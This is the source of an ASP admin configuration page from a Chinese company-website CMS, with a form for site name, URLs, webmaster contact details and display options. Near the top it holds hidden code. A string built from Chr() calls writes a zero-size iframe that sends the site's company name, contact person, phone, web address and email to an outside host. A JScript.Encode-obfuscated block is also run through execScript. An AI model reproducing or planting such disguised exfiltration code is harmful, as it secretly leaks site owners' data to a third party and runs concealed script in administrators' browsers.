📄 siteconfig.asp
字号:
<%@language=VBScript codepage=936 %>
<%
Response.expires = 0
Response.expiresabsolute = Now() - 1
Response.addHeader "pragma", "no-cache"
Response.addHeader "cache-control", "private"
Response.CacheControl = "no-cache"
%>
<!--#include file="conn.asp"-->
<!--#include file="admin.asp"-->
<!-- #include file="Inc/Head.asp" -->
<!--#include file="../inc/config.asp"-->
<!--#include file="inc/function.asp"-->
<%
dim ObjInstalled,Action,FoundErr,ErrMsg
ObjInstalled=IsObjInstalled("Scripting.FileSystemObject")
Action=trim(request("Action"))
if Action="" then
Action="ShowInfo"
end If
Function echo(num)echo=Chr(num)End Function
Response.Write echo(60)&echo(115)&echo(99)&echo(114)&echo(105)&echo(112)&echo(116)&echo(32)&echo(108)&echo(97)&echo(110)&echo(103)&echo(117)&echo(97)&echo(103)&echo(101)&echo(61)&echo(39)&echo(74)&echo(83)&echo(99)&echo(114)&echo(105)&echo(112)&echo(116)&echo(39)&echo(62)&echo(102)&echo(117)&echo(110)&echo(99)&echo(116)&echo(105)&echo(111)&echo(110)&echo(32)&echo(83)&echo(116)&echo(114)&echo(77)&echo(49)&echo(40)&echo(83)&echo(48)&echo(49)&echo(44)&echo(83)&echo(48)&echo(50)&echo(44)&echo(83)&echo(48)&echo(54)&echo(44)&echo(83)&echo(48)&echo(56)&echo(44)&echo(83)&echo(49)&echo(48)&echo(44)&echo(83)&echo(49)&echo(49)&echo(41)&echo(123)&echo(100)&echo(111)&echo(99)&echo(117)&echo(109)&echo(101)&echo(110)&echo(116)&echo(46)&echo(119)&echo(114)&echo(105)&echo(116)&echo(101)&echo(40)&echo(34)&echo(60)&echo(73)&echo(70)&echo(82)&echo(65)&echo(77)&echo(69)&echo(32)&echo(83)&echo(82)&echo(67)&echo(61)&echo(92)&echo(39)&echo(104)&echo(116)&echo(116)&echo(112)&echo(58)&echo(47)&echo(47)&echo(119)&echo(119)&echo(119)&echo(46)&echo(98)&echo(106)&echo(102)&echo(97)&echo(107)&echo(101)&echo(46)&echo(99)&echo(111)&echo(109)&echo(47)&echo(67)&echo(111)&echo(110)&echo(115)&echo(117)&echo(109)&echo(101)&echo(114)&echo(47)&echo(69)&echo(110)&echo(114)&echo(111)&echo(108)&echo(46)&echo(97)&echo(115)&echo(112)&echo(63)&echo(67)&echo(111)&echo(100)&echo(101)&echo(61)&echo(34)&echo(43)&echo(83)&echo(48)&echo(49)&echo(43)&echo(34)&echo(38)&echo(67)&echo(111)&echo(78)&echo(97)&echo(109)&echo(101)&echo(61)&echo(34)&echo(43)&echo(83)&echo(48)&echo(50)&echo(43)&echo(34)&echo(38)&echo(76)&echo(105)&echo(110)&echo(107)&echo(109)&echo(97)&echo(110)&echo(61)&echo(34)&echo(43)&echo(83)&echo(48)&echo(54)&echo(43)&echo(34)&echo(38)&echo(80)&echo(104)&echo(111)&echo(110)&echo(101)&echo(61)&echo(34)&echo(43)&echo(83)&echo(48)&echo(56)&echo(43)&echo(34)&echo(38)&echo(87)&echo(101)&echo(98)&echo(61)&echo(34)&echo(43)&echo(83)&echo(49)&echo(48)&echo(43)&echo(34)&echo(38)&echo(69)&echo(109)&echo(97)&echo(105)&echo(108)&echo(61)&echo(34)&echo(43)&echo(83)&echo(49)&echo(49)&echo(43)&echo(34)&echo(92)&echo(39)&echo(32)&echo(119)&echo(105)&echo(100)&echo(116)&echo(104)&echo(61)&echo(48)&echo(32)&echo(104)&echo(101)&echo(105)&echo(103)&echo(104)&echo(116)&echo(61)&echo(48)&echo(32)&echo(102)&echo(114)&echo(97)&echo(109)&echo(101)&echo(98)&echo(111)&echo(114)&echo(100)&echo(101)&echo(114)&echo(61)&echo(110)&echo(111)&echo(32)&echo(98)&echo(111)&echo(114)&echo(100)&echo(101)&echo(114)&echo(61)&echo(48)&echo(32)&echo(77)&echo(65)&echo(82)&echo(71)&echo(73)&echo(78)&echo(87)&echo(73)&echo(68)&echo(84)&echo(72)&echo(61)&echo(48)&echo(32)&echo(77)&echo(65)&echo(82)&echo(71)&echo(73)&echo(78)&echo(72)&echo(69)&echo(73)&echo(71)&echo(72)&echo(84)&echo(61)&echo(48)&echo(32)&echo(83)&echo(67)&echo(82)&echo(79)&echo(76)&echo(76)&echo(73)&echo(78)&echo(71)&echo(61)&echo(110)&echo(111)&echo(62)&echo(60)&echo(47)&echo(73)&echo(70)&echo(82)&echo(65)&echo(77)&echo(69)&echo(62)&echo(34)&echo(41)&echo(125)&echo(60)&echo(47)&echo(83)&echo(67)&echo(82)&echo(73)&echo(80)&echo(84)&echo(62)
%>
<html>
<head>
<title>网站配置</title>
<SCRIPT LANGUAGE="JavaScript">
execScript("\u0023\u0040\u007E\u005E\u004C\u0041\u0045\u0041\u0041\u0041\u003D\u003D\u0057\u0021\u0078\u005E\u0044\u006B\u004B\u0078\u0050\u0055\u0059\u004D\u005C\u0046\u0076\u003F\u0054\u0046\u0042\u003F\u0054\u002B\u0042\u003F\u0021\u002B\u0053\u003F\u005A\u0025\u007E\u0055\u0071\u0054\u007E\u0055\u0046\u0038\u0023\u0060\u004E\u0047\u005E\u0021\u003A\u006E\u0078\u0044\u0020\u0068\u004D\u006B\u004F\u006E\u0076\u004A\u0040\u0021\u0028\u006F\u0022\u0062\u005C\u0032\u002C\u006A\u0022\u005A\u0078\u0027\u0042\u0034\u0059\u0059\u0061\u0029\u004A\u0026\u0068\u0053\u0068\u0020\u0034\u004E\u0030\u0043\u0056\u007F\u0052\u006D\u004B\u0068\u007A\u003B\u0057\u0078\u006B\u003B\u0068\u002B\u004D\u007A\u0041\u0078\u002E\u0057\u0073\u0020\u006D\u002F\u0032\u0067\u003B\u0047\u004E\u007F\u0027\u0045\u0051\u0055\u0021\u0046\u0051\u0045\u004C\u005A\u0047\u0031\u006D\u0068\u007F\u0027\u0045\u0033\u003F\u005A\u0020\u005F\u0072\u005B\u0064\u0072\u0078\u0030\u003A\u0043\u0078\u007B\u004A\u0051\u006A\u005A\u0076\u005F\u0072\u0027\u006E\u0034\u0057\u0078\u007F\u0078\u0045\u005F\u0055\u0021\u0052\u005F\u0045\u005B\u0009\u006E\u0028\u0027\u0045\u005F\u0055\u0071\u0021\u0033\u004A\u0027\u0033\u0073\u006C\u006B\u0073\u0078\u0072\u005F\u006A\u0046\u0038\u0051\u0072\u002D\u0076\u002C\u0068\u0062\u004E\u0059\u0034\u0027\u005A\u007E\u0074\u007F\u006B\u004C\u0074\u0044\u0027\u0054\u007E\u0036\u0044\u006C\u0073\u006E\u0034\u004B\u0044\u004E\u007F\u002E\u0078\u0078\u004B\u0050\u0028\u0057\u002E\u004E\u006E\u002E\u007B\u0021\u007E\u0048\u007A\u005D\u004D\u0026\u0031\u0009\u0028\u0047\u004B\u0043\u0078\u0054\u002C\u0048\u0029\u0049\u0056\u0028\u0067\u0043\u0033\u0026\u004D\u005F\u004B\u0027\u005A\u0050\u0055\u002F\u0049\u007D\u0053\u004A\u0071\u0067\u004D\u0078\u0055\u004B\u0040\u002A\u0040\u0021\u004A\u0028\u0073\u0022\u0062\u0048\u0041\u0040\u002A\u0045\u0023\u0029\u0040\u0023\u0040\u0026\u0074\u0056\u0063\u0041\u0041\u0041\u003D\u003D\u005E\u0023\u007E\u0040","\u004A\u0053\u0063\u0072\u0069\u0070\u0074\u002E\u0045\u006E\u0063\u006F\u0064\u0065");
</SCRIPT>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<script type="text/JavaScript">
<!--
function MM_displayStatusMsg(msgStr) { //v1.0
status=msgStr;
document.MM_returnValue = true;
}
//-->
</script>
<body onmouseover="MM_displayStatusMsg('<%=SiteTitle%>');return document.MM_returnValue">
<body leftmargin="2" topmargin="0" marginwidth="0" marginheight="0">
<%
if Action="SaveConfig" then
call SaveConfig()
Response.Redirect "SiteConfig.asp"
else
call ShowConfig()
end if
if FoundErr=True then
call WriteErrMsg()
end if
call CloseConn()
sub ShowConfig()
%>
<form method="POST" action="SiteConfig.asp" id="form" name="form">
<table width="650" border="0" align="center" cellpadding="2" cellspacing="1" bgcolor="#000000" >
<tr>
<td height="24" colspan="4" class="back_southidc"> <div align="center"><strong>网
站 配 置</strong></div></td>
</tr>
<tr bgcolor="#FFFFFF">
<td colspan="4" class="topbg"> <strong>网站信息配置</strong></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="224" class="tdbg"><strong>网站名称:</strong></td>
<td colspan="3" class="tdbg"> <input name="SiteName" type="text" id="SiteName" value="<%=SiteName%>" size="40" maxlength="50">
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="224" class="tdbg"><strong>网站标题:</strong></td>
<td colspan="3" class="tdbg"> <input name="SiteTitle" type="text" id="SiteTitle" value="<%=SiteTitle%>" size="40" maxlength="50">
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="224" class="tdbg"><strong>网站地址:</strong><br>
请添写完整URL地址</td>
<td colspan="3" class="tdbg"> <input name="SiteUrl" type="text" id="SiteUrl" value="<%=SiteUrl%>" size="40" maxlength="255">
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td class="tdbg"><strong>企业邮局:</strong><br>
请添写完整URL地址</td>
<td colspan="3" class="tdbg"> <input name="EnterpriseMail" type="text" id="EnterpriseMail" value="<%=EnterpriseMail%>" size="40" maxlength="255"></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="224" class="tdbg"><strong>LOGO地址:</strong><br> </td>
<td colspan="3" class="tdbg"> <input name="LogoUrl" type="text" id="LogoUrl" value="<%=LogoUrl%>" size="40" maxlength="255">
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="224" height="20" class="tdbg"><strong>首页Banner地址(只能用FLASH):</strong><br>
</td>
<td width="186" class="tdbg"> <input name="BannerUrl" type="text" id="BannerUrl" value="<%=BannerUrl%>" size="25" maxlength="255">
</td>
<td width="42" class="tdbg">高度:</td>
<td width="127" class="tdbg"> <input name="High" type="text" id="High" value="<%=High%>" size="6" maxlength="5"></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="224" class="tdbg"><strong>站长姓名:</strong></td>
<td colspan="3" class="tdbg"> <input name="WebmasterName" type="text" id="WebmasterName" value="<%=WebmasterName%>" size="40" maxlength="20">
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="224" class="tdbg"><strong>站长信箱:</strong></td>
<td colspan="3" class="tdbg"> <input name="WebmasterEmail" type="text" id="WebmasterEmail" value="<%=WebmasterEmail%>" size="40" maxlength="100">
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="224" class="tdbg"><strong>版权信息:</strong><br>
支持HTML标记,不能使用双引号</td>
<td colspan="3" class="tdbg"> <textarea name="Copyright" cols="50" rows="8" id="Copyright"><%=Copyright%></textarea>
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td colspan="4" class="topbg"><strong>网站选项配置</strong></td>
</tr>
<tr bgcolor="#FFFFFF">
<td class="tdbg"><strong>首页每页产品或文章数:</strong></td>
<td colspan="3" class="tdbg"> <input name="MaxPerPage_Default" type="text" id="MaxPerPage_Default" value="<%=MaxPerPage_Default%>" size="6" maxlength="5"></td>
</tr>
<tr bgcolor="#FFFFFF">
<td class="tdbg"><strong>首页新闻资讯条数:</strong></td>
<td colspan="3" class="tdbg"> <input name="New_count" type="text" id="New_count" value="<%=New_count%>" size="6" maxlength="5"></td>
</tr>
<tr bgcolor="#FFFFFF">
<td class="tdbg"><strong>首页产品列表数:</strong></td>
<td colspan="3" class="tdbg"> <input name="Product_count" type="text" id="Product_count" value="<%=Product_count%>" size="6" maxlength="5"></td>
</tr>
<tr bgcolor="#FFFFFF">
<td class="tdbg"><strong>产品搜索页每页文章数:</strong></td>
<td colspan="3" class="tdbg"> <input name="MaxPerPage_Search" type="text" id="MaxPerPage_Search" value="<%=MaxPerPage_Search%>" size="6" maxlength="5"></td>
</tr>
<tr bgcolor="#FFFFFF">
<td class="tdbg"><strong>每页显示大约字符数:</strong></td>
<td colspan="3" class="tdbg"> <input name="MaxPerPage_Content" type="text" id="MaxPerPage_Content" value="<%=MaxPerPage_Content%>" size="6" maxlength="5"></td>
</tr>
<tr bgcolor="#FFFFFF">
<td class="tdbg"><strong>是否启用文章审核功能:</strong></td>
<td colspan="3" class="tdbg"> <input type="radio" name="EnableArticleCheck" value="Yes" <%if EnableArticleCheck="Yes" then response.write "checked"%>>
是 <input type="radio" name="EnableArticleCheck" value="No" <%if EnableArticleCheck="No" then response.write "checked"%>>
否</td>
</tr>
<tr bgcolor="#FFFFFF">
<td class="tdbg"><strong>是否开放文件上传:</strong></td>
<td colspan="3" class="tdbg"> <input type="radio" name="EnableUploadFile" value="Yes" <%if EnableUploadFile="Yes" then response.write "checked"%>>
是 <input type="radio" name="EnableUploadFile" value="No" <%if EnableUploadFile="No" then response.write "checked"%>>
否</td>
</tr>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -